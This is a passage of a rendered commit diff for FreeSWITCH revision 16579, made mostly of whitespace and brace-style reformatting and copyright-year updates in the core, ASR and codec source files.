</ins><span class="cx">                                                 if (switch_xml_locate_domain(domain, my_params, &amp;xml_root, &amp;x_domain) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, &quot;Cannot locate domain %s\n&quot;, domain);
</span><span class="cx">                                                         switch_event_destroy(&amp;my_params);
</span><span class="cx">                                                         continue;
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_event_destroy(&amp;my_params);
</span><span class="cx"> 
</span><span class="cx">                                                 for (ut = switch_xml_child(x_domain, &quot;user&quot;); ut; ut = ut-&gt;next) {
</span><span class="lines">@@ -1063,10 +1062,10 @@
</span><span class="cx">                                                                         for (ut = switch_xml_child(uts, &quot;user&quot;); ut; ut = ut-&gt;next) {
</span><span class="cx">                                                                                 const char *user_cidr = switch_xml_attr(ut, &quot;cidr&quot;);
</span><span class="cx">                                                                                 const char *id = switch_xml_attr(ut, &quot;id&quot;);
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                                                                 if (id &amp;&amp; user_cidr) {
</span><span class="cx">                                                                                         char *token = switch_mprintf(&quot;%s@%s&quot;, id, domain);
</span><del>-                                                                                        switch_assert(token);                                                                                        
</del><ins>+                                                                                        switch_assert(token);
</ins><span class="cx">                                                                                         switch_network_list_add_cidr_token(list, user_cidr, ok, token);
</span><span class="cx">                                                                                         free(token);
</span><span class="cx">                                                                                 }
</span><span class="lines">@@ -1074,7 +1073,7 @@
</span><span class="cx">                                                                 }
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 switch_xml_free(xml_root);
</span><span class="cx">                                         } else if (cidr) {
</span><span class="cx">                                                 if (switch_network_list_add_cidr(list, cidr, ok) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1088,7 +1087,7 @@
</span><span class="cx">                                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
</span><span class="cx">                                                                                           &quot;Adding %s/%s (%s) to list %s\n&quot;, host, mask, ok ? &quot;allow&quot; : &quot;deny&quot;, name);
</span><span class="cx">                                                 }
</span><del>-                                        } 
</del><ins>+                                        }
</ins><span class="cx"> 
</span><span class="cx">                                         switch_core_hash_insert(IP_LIST.hash, name, list);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1146,7 +1145,7 @@
</span><span class="cx"> {
</span><span class="cx">         char buf[13] = &quot;&quot;;
</span><span class="cx">         char path[256];
</span><del>-        
</del><ins>+
</ins><span class="cx">         int fd = -1, write_fd = -1;
</span><span class="cx">         switch_ssize_t bytes = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -1160,9 +1159,9 @@
</span><span class="cx">                 int i = 0;
</span><span class="cx"> 
</span><span class="cx">                 switch_inet_pton(AF_INET, ip, &amp;ipi);
</span><del>-                byte = (switch_byte_t *) &amp;ipi;
</del><ins>+                byte = (switch_byte_t *) &amp; ipi;
</ins><span class="cx"> 
</span><del>-                for(i = 0; i &lt; 8; i += 2) {
</del><ins>+                for (i = 0; i &lt; 8; i += 2) {
</ins><span class="cx">                         switch_snprintf(buf + i, sizeof(buf) - i, &quot;%0.2x&quot;, *byte);
</span><span class="cx">                         byte++;
</span><span class="cx">                 }
</span><span class="lines">@@ -1179,7 +1178,7 @@
</span><span class="cx">                 close(fd);
</span><span class="cx">                 fd = -1;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_core_set_variable(&quot;switch_serial&quot;, buf);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1284,7 +1283,7 @@
</span><span class="cx">         if (switch_test_flag((&amp;runtime), SCF_USE_AUTO_NAT)) {
</span><span class="cx">                 switch_nat_init(runtime.memory_pool);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_init(runtime.memory_pool, runtime.colorize_console);
</span><span class="cx"> 
</span><span class="cx">         switch_load_core_config(&quot;switch.conf&quot;);
</span><span class="lines">@@ -1374,10 +1373,10 @@
</span><span class="cx"> static void switch_load_core_config(const char *file)
</span><span class="cx"> {
</span><span class="cx">         switch_xml_t xml = NULL, cfg = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((xml = switch_xml_open_cfg(file, &amp;cfg, NULL))) {
</span><span class="cx">                 switch_xml_t settings, param;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if ((settings = switch_xml_child(cfg, &quot;settings&quot;))) {
</span><span class="cx">                         for (param = switch_xml_child(settings, &quot;param&quot;); param; param = param-&gt;next) {
</span><span class="cx">                                 const char *var = switch_xml_attr_soft(param, &quot;name&quot;);
</span><span class="lines">@@ -1499,10 +1498,7 @@
</span><span class="cx">                         &quot;* Anthony Minessale II, Michael Jerris, Brian West, Others *\n&quot;
</span><span class="cx">                         &quot;* FreeSWITCH (http://www.freeswitch.org)                   *\n&quot;
</span><span class="cx">                         &quot;* Paypal Donations Appreciated: paypal@freeswitch.org      *\n&quot;
</span><del>-                        &quot;* Brought to you by ClueCon http://www.cluecon.com/        *\n&quot;
-                        &quot;************************************************************\n&quot;
-                        &quot;\n&quot;
-                        );
</del><ins>+                        &quot;* Brought to you by ClueCon http://www.cluecon.com/        *\n&quot; &quot;************************************************************\n&quot; &quot;\n&quot;);
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="lines">@@ -1562,8 +1558,8 @@
</span><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;%s&quot;, switch_core_banner());
</span><del>-                                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE,
</span><span class="cx">                                           &quot;\nFreeSWITCH Version %s Started.\nMax Sessions[%u]\nSession Rate[%d]\nSQL [%s]\n&quot;, SWITCH_VERSION_FULL,
</span><span class="cx">                                           switch_core_session_limit(0),
</span><span class="lines">@@ -1601,15 +1597,15 @@
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="cx"> static void win_shutdown(void)
</span><span class="cx"> {
</span><del>-        
-        HANDLE shutdown_event;        
</del><ins>+
+        HANDLE shutdown_event;
</ins><span class="cx">         char path[512];
</span><span class="cx">         /* for windows we need the event to signal for shutting down a background FreeSWITCH */
</span><span class="cx">         snprintf(path, sizeof(path), &quot;Global\\Freeswitch.%d&quot;, getpid());
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* open the event so we can signal it */
</span><span class="cx">         shutdown_event = OpenEvent(EVENT_MODIFY_STATE, FALSE, path);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (shutdown_event) {
</span><span class="cx">                 /* signal the event to shutdown */
</span><span class="cx">                 SetEvent(shutdown_event);
</span><span class="lines">@@ -1681,17 +1677,16 @@
</span><span class="cx">                                 switch_set_flag((&amp;runtime), SCF_NO_NEW_SESSIONS);
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        while(runtime.running &amp;&amp; switch_test_flag((&amp;runtime), SCF_SHUTDOWN_REQUESTED) &amp;&amp; (count = switch_core_session_count())) {
</del><ins>+                        while (runtime.running &amp;&amp; switch_test_flag((&amp;runtime), SCF_SHUTDOWN_REQUESTED) &amp;&amp; (count = switch_core_session_count())) {
</ins><span class="cx">                                 switch_yield(500000);
</span><span class="cx">                                 if (++x == 20) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, 
-                                                                          &quot;Shutdown in progress, %u session(s) remain.\nShutting down %s\n&quot;, 
-                                                                          count,
-                                                                          cmd == SCSC_SHUTDOWN_ASAP ? &quot;ASAP&quot; : &quot;once there are no active calls.&quot;);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING,
+                                                                          &quot;Shutdown in progress, %u session(s) remain.\nShutting down %s\n&quot;,
+                                                                          count, cmd == SCSC_SHUTDOWN_ASAP ? &quot;ASAP&quot; : &quot;once there are no active calls.&quot;);
</ins><span class="cx">                                         x = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (switch_test_flag((&amp;runtime), SCF_SHUTDOWN_REQUESTED)) {
</span><span class="cx">                                 switch_set_flag((&amp;runtime), SCF_NO_NEW_SESSIONS);
</span><span class="cx"> #ifdef _MSC_VER
</span><span class="lines">@@ -1746,7 +1741,8 @@
</span><span class="cx">                 break;
</span><span class="cx">         case SCSC_DEBUG_LEVEL:
</span><span class="cx">                 if (*val &gt; -1) {
</span><del>-                        if (*val &gt; 10) *val = 10;
</del><ins>+                        if (*val &gt; 10)
+                                *val = 10;
</ins><span class="cx">                         runtime.debug_level = *val;
</span><span class="cx">                 }
</span><span class="cx">                 *val = runtime.debug_level;
</span><span class="lines">@@ -1806,18 +1802,18 @@
</span><span class="cx"> 
</span><span class="cx">         switch_set_flag((&amp;runtime), SCF_NO_NEW_SESSIONS);
</span><span class="cx">         switch_set_flag((&amp;runtime), SCF_SHUTTING_DOWN);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;End existing sessions\n&quot;);
</span><span class="cx">         switch_core_session_hupall(SWITCH_CAUSE_SYSTEM_SHUTDOWN);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CONSOLE, &quot;Clean up modules.\n&quot;);
</span><span class="cx"> 
</span><span class="cx">         switch_loadable_module_shutdown();
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag((&amp;runtime), SCF_USE_SQL)) {
</span><span class="cx">                 switch_core_sqldb_stop();
</span><span class="cx">         }
</span><span class="cx">         switch_scheduler_task_thread_stop();
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_rtp_shutdown();
</span><span class="cx">         if (switch_test_flag((&amp;runtime), SCF_USE_AUTO_NAT)) {
</span><span class="cx">                 switch_nat_shutdown();
</span><span class="lines">@@ -1859,11 +1855,11 @@
</span><span class="cx">                 apr_pool_destroy(runtime.memory_pool);
</span><span class="cx">                 apr_terminate();
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return switch_test_flag((&amp;runtime), SCF_RESTART) ? SWITCH_STATUS_RESTART : SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to, 
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_chat_send(const char *name, const char *proto, const char *from, const char *to,
</ins><span class="cx">                                                                                                           const char *subject, const char *body, const char *type, const char *hint)
</span><span class="cx"> {
</span><span class="cx">         switch_chat_interface_t *ci;
</span><span class="lines">@@ -1902,18 +1898,18 @@
</span><span class="cx"> 
</span><span class="cx"> 
</span><span class="cx"> struct system_thread_handle {
</span><del>-        const char * cmd;
</del><ins>+        const char *cmd;
</ins><span class="cx">         switch_thread_cond_t *cond;
</span><span class="cx">         switch_mutex_t *mutex;
</span><span class="cx">         switch_memory_pool_t *pool;
</span><span class="cx">         int ret;
</span><span class="cx"> };
</span><span class="cx"> 
</span><del>-static void *SWITCH_THREAD_FUNC system_thread(switch_thread_t *thread, void *obj) 
</del><ins>+static void *SWITCH_THREAD_FUNC system_thread(switch_thread_t *thread, void *obj)
</ins><span class="cx"> {
</span><del>-        struct system_thread_handle *sth = (struct system_thread_handle *)obj;
</del><ins>+        struct system_thread_handle *sth = (struct system_thread_handle *) obj;
</ins><span class="cx"> 
</span><del>-#if 0 // if we are a luser we can never turn this back down, didn't we already set the stack size?
</del><ins>+#if 0                                                        // if we are a luser we can never turn this back down, didn't we already set the stack size?
</ins><span class="cx"> #if defined(HAVE_SETRLIMIT) &amp;&amp; !defined(__FreeBSD__)
</span><span class="cx">         struct rlimit rlim;
</span><span class="cx"> 
</span><span class="lines">@@ -1930,11 +1926,10 @@
</span><span class="cx"> #if 0
</span><span class="cx"> #if defined(HAVE_SETRLIMIT) &amp;&amp; !defined(__FreeBSD__)
</span><span class="cx">         rlim.rlim_cur = SWITCH_THREAD_STACKSIZE;
</span><del>-        rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE; 
</del><ins>+        rlim.rlim_max = SWITCH_SYSTEM_THREAD_STACKSIZE;
</ins><span class="cx">         if (setrlimit(RLIMIT_STACK, &amp;rlim) &lt; 0) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Setting stack size failed! (%s)\n&quot;, strerror(errno));
</span><span class="cx">         }
</span><del>-
</del><span class="cx"> #endif
</span><span class="cx"> #endif
</span><span class="cx"> 
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_asrc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_asr.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_asr.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_asr.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -115,7 +115,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* extract params */
</span><span class="cx">         if (*data == '{') {
</span><span class="cx">                 param_string = data + 1;
</span><span class="lines">@@ -123,7 +123,7 @@
</span><span class="cx">                 if (zstr(data)) {
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><del>-                } else {        
</del><ins>+                } else {
</ins><span class="cx">                         *data = '\0';
</span><span class="cx">                         data++;
</span><span class="cx">                 }
</span><span class="lines">@@ -144,7 +144,7 @@
</span><span class="cx"> 
</span><span class="cx">         status = ah-&gt;asr_interface-&gt;asr_load_grammar(ah, data, name);
</span><span class="cx"> 
</span><del>- done:
</del><ins>+  done:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(lgrammar);
</span><span class="cx">         return status;
</span></span></pre></div>
<a id="freeswitchtrunksrcswitch_core_codecc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/switch_core_codec.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/switch_core_codec.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/switch_core_codec.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /* 
</span><span class="cx">  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II &lt;anthm@freeswitch.org&gt;
</ins><span class="cx">  *
</span><span class="cx">  * Version: MPL 1.1
</span><span class="cx">  *
</span><span class="lines">@@ -47,14 +47,17 @@
</span><span class="cx">         switch_mutex_t *mutex = NULL;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(session-&gt;codec_read_mutex);
</span><del>-        if (session-&gt;read_codec) mutex = session-&gt;read_codec-&gt;mutex;
-        if (mutex) switch_mutex_lock(mutex);
</del><ins>+        if (session-&gt;read_codec)
+                mutex = session-&gt;read_codec-&gt;mutex;
+        if (mutex)
+                switch_mutex_lock(mutex);
</ins><span class="cx">         session-&gt;real_read_codec = session-&gt;read_codec = NULL;
</span><span class="cx">         session-&gt;raw_read_frame.codec = session-&gt;read_codec;
</span><span class="cx">         session-&gt;raw_write_frame.codec = session-&gt;read_codec;
</span><span class="cx">         session-&gt;enc_read_frame.codec = session-&gt;read_codec;
</span><span class="cx">         session-&gt;enc_write_frame.codec = session-&gt;read_codec;
</span><del>-        if (mutex) switch_mutex_unlock(mutex);
</del><ins>+        if (mutex)
+                switch_mutex_unlock(mutex);
</ins><span class="cx">         switch_mutex_unlock(session-&gt;codec_read_mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -79,14 +82,17 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(void) switch_core_session_unset_write_codec(switch_core_session_t *session)
</span><del>-{        
</del><ins>+{
</ins><span class="cx">         switch_mutex_t *mutex = NULL;
</span><span class="cx"> 
</span><span class="cx">         switch_mutex_lock(session-&gt;codec_write_mutex);
</span><del>-        if (session-&gt;write_codec) mutex = session-&gt;write_codec-&gt;mutex;
-        if (mutex) switch_mutex_lock(mutex);
</del><ins>+        if (session-&gt;write_codec)
+                mutex = session-&gt;write_codec-&gt;mutex;
+        if (mutex)
+                switch_mutex_lock(mutex);
</ins><span class="cx">         session-&gt;real_write_codec = session-&gt;write_codec = NULL;
</span><del>-        if (mutex) switch_mutex_unlock(mutex);
</del><ins>+        if (mutex)
+                switch_mutex_unlock(mutex);
</ins><span class="cx">         switch_mutex_unlock(session-&gt;codec_write_mutex);
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -97,13 +103,13 @@
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         char tmp[30];
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(session-&gt;codec_read_mutex);
</span><span class="cx"> 
</span><span class="cx">         if (codec &amp;&amp; (!codec-&gt;implementation || !switch_core_codec_ready(codec))) {
</span><span class="cx">                 codec = NULL;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (codec) {
</span><span class="cx">                 if (!session-&gt;real_read_codec) {
</span><span class="cx">                         session-&gt;read_codec = session-&gt;real_read_codec = codec;
</span><span class="lines">@@ -119,16 +125,16 @@
</span><span class="cx">                 if (session-&gt;read_codec == session-&gt;real_read_codec) {
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (session-&gt;read_codec-&gt;next) {
</span><span class="cx">                         switch_codec_t *old = session-&gt;read_codec;
</span><span class="cx">                         session-&gt;read_codec = session-&gt;read_codec-&gt;next;
</span><span class="cx">                         session-&gt;read_impl = *session-&gt;read_codec-&gt;implementation;
</span><span class="cx">                         old-&gt;next = NULL;
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;%s Restore previous codec %s:%d.\n&quot;,
</span><del>-                                                          switch_channel_get_name(session-&gt;channel), 
</del><ins>+                                                          switch_channel_get_name(session-&gt;channel),
</ins><span class="cx">                                                           session-&gt;read_codec-&gt;implementation-&gt;iananame, session-&gt;read_codec-&gt;implementation-&gt;ianacode);
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else if (session-&gt;real_read_codec) {
</span><span class="cx">                         session-&gt;read_codec = session-&gt;real_read_codec;
</span><span class="cx">                         session-&gt;read_impl = *session-&gt;real_read_codec-&gt;implementation;
</span><span class="lines">@@ -138,10 +144,10 @@
</span><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!session-&gt;read_codec) {
</span><del>-        status = SWITCH_STATUS_FALSE;
-        goto end;
</del><ins>+                status = SWITCH_STATUS_FALSE;
+                goto end;
</ins><span class="cx">         }
</span><span class="cx"> 
</span><span class="cx">         if (session-&gt;read_codec &amp;&amp; session-&gt;read_impl.decoded_bytes_per_packet) {
</span><span class="lines">@@ -158,14 +164,14 @@
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;read_codec&quot;, session-&gt;read_impl.iananame);
</span><span class="cx">                 switch_snprintf(tmp, sizeof(tmp), &quot;%d&quot;, session-&gt;read_impl.actual_samples_per_second);
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;read_rate&quot;, tmp);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 session-&gt;raw_read_frame.codec = session-&gt;read_codec;
</span><span class="cx">                 session-&gt;raw_write_frame.codec = session-&gt;read_codec;
</span><span class="cx">                 session-&gt;enc_read_frame.codec = session-&gt;read_codec;
</span><span class="cx">                 session-&gt;enc_write_frame.codec = session-&gt;read_codec;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         if (session-&gt;read_codec) {
</span><span class="cx">                 switch_channel_set_flag(channel, CF_MEDIA_SET);
</span><span class="lines">@@ -178,17 +184,19 @@
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_codec_t *) switch_core_session_get_effective_read_codec(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_codec_t *codec;        codec = session-&gt;read_codec;
</del><ins>+        switch_codec_t *codec;
+        codec = session-&gt;read_codec;
</ins><span class="cx">         return codec;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> SWITCH_DECLARE(switch_codec_t *) switch_core_session_get_read_codec(switch_core_session_t *session)
</span><span class="cx"> {
</span><del>-        switch_codec_t *codec;        codec = session-&gt;real_read_codec ? session-&gt;real_read_codec : session-&gt;read_codec;
</del><ins>+        switch_codec_t *codec;
+        codec = session-&gt;real_read_codec ? session-&gt;real_read_codec : session-&gt;read_codec;
</ins><span class="cx">         return codec;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session,  switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         if (session-&gt;read_impl.decoded_bytes_per_packet) {
</span><span class="cx">                 *impp = session-&gt;read_impl;
</span><span class="lines">@@ -198,7 +206,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session,  switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         if (session-&gt;write_impl.decoded_bytes_per_packet) {
</span><span class="cx">                 *impp = session-&gt;write_impl;
</span><span class="lines">@@ -208,7 +216,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session,  switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_read_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         if (session-&gt;video_read_impl.decoded_bytes_per_packet) {
</span><span class="cx">                 *impp = session-&gt;video_read_impl;
</span><span class="lines">@@ -218,7 +226,7 @@
</span><span class="cx">         return SWITCH_STATUS_FALSE;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session,  switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_get_video_write_impl(switch_core_session_t *session, switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         if (session-&gt;video_write_impl.decoded_bytes_per_packet) {
</span><span class="cx">                 *impp = session-&gt;video_write_impl;
</span><span class="lines">@@ -229,25 +237,25 @@
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_set_read_impl(switch_core_session_t *session,  const switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_set_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><del>-        session-&gt;read_impl =*impp;
</del><ins>+        session-&gt;read_impl = *impp;
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_set_write_impl(switch_core_session_t *session,  const switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_set_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         session-&gt;write_impl = *impp;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_read_impl(switch_core_session_t *session,  const switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_read_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         session-&gt;video_read_impl = *impp;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><del>-SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_write_impl(switch_core_session_t *session,  const switch_codec_implementation_t *impp)
</del><ins>+SWITCH_DECLARE(switch_status_t) switch_core_session_set_video_write_impl(switch_core_session_t *session, const switch_codec_implementation_t *impp)
</ins><span class="cx"> {
</span><span class="cx">         session-&gt;video_write_impl = *impp;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -311,7 +319,7 @@
</span><span class="cx">                 switch_channel_set_variable(channel, &quot;write_rate&quot;, tmp);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx">         switch_mutex_unlock(session-&gt;codec_write_mutex);
</span><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="lines">@@ -346,7 +354,7 @@
</span><span class="cx">         if (!codec || !codec-&gt;implementation || !switch_core_codec_ready(codec)) {
</span><span class="cx">                 if (session-&gt;video_read_codec) {
</span><span class="cx">                         session-&gt;video_read_codec = NULL;
</span><del>-                status = SWITCH_STATUS_SUCCESS;
</del><ins>+                        status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot set NULL codec!\n&quot;);
</span><span class="lines">@@ -367,7 +375,7 @@
</span><span class="cx"> 
</span><span class="cx">         session-&gt;video_read_codec = codec;
</span><span class="cx">         session-&gt;video_read_impl = *codec-&gt;implementation;
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -376,7 +384,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_codec_t *codec;
</span><span class="cx">         codec = session-&gt;video_read_codec;
</span><del>-        
</del><ins>+
</ins><span class="cx">         return codec;
</span><span class="cx"> 
</span><span class="cx"> }
</span><span class="lines">@@ -390,7 +398,7 @@
</span><span class="cx">         if (!codec || !codec-&gt;implementation || !switch_core_codec_ready(codec)) {
</span><span class="cx">                 if (session-&gt;video_write_codec) {
</span><span class="cx">                         session-&gt;video_write_codec = NULL;
</span><del>-                status = SWITCH_STATUS_SUCCESS;
</del><ins>+                        status = SWITCH_STATUS_SUCCESS;
</ins><span class="cx">                         goto end;
</span><span class="cx">                 }
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, &quot;Cannot set NULL codec!\n&quot;);
</span><span class="lines">@@ -398,7 +406,7 @@
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-    if (switch_event_create(&amp;event, SWITCH_EVENT_CODEC) == SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (switch_event_create(&amp;event, SWITCH_EVENT_CODEC) == SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 switch_channel_event_set_data(session-&gt;channel, event);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, &quot;channel-video-write-codec-name&quot;, codec-&gt;implementation-&gt;iananame);
</span><span class="cx">                 switch_event_add_header(event, SWITCH_STACK_BOTTOM, &quot;channel-video-write-codec-rate&quot;, &quot;%d&quot;, codec-&gt;implementation-&gt;actual_samples_per_second);
</span><span class="lines">@@ -412,8 +420,8 @@
</span><span class="cx">         session-&gt;video_write_codec = codec;
</span><span class="cx">         session-&gt;video_write_impl = *codec-&gt;implementation;
</span><span class="cx"> 
</span><del>- end:
-        
</del><ins>+  end:
+
</ins><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -570,13 +578,15 @@
</span><span class="cx">                 return SWITCH_STATUS_NOT_INITALIZED;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>-        if (codec-&gt;mutex) switch_mutex_lock(codec-&gt;mutex);
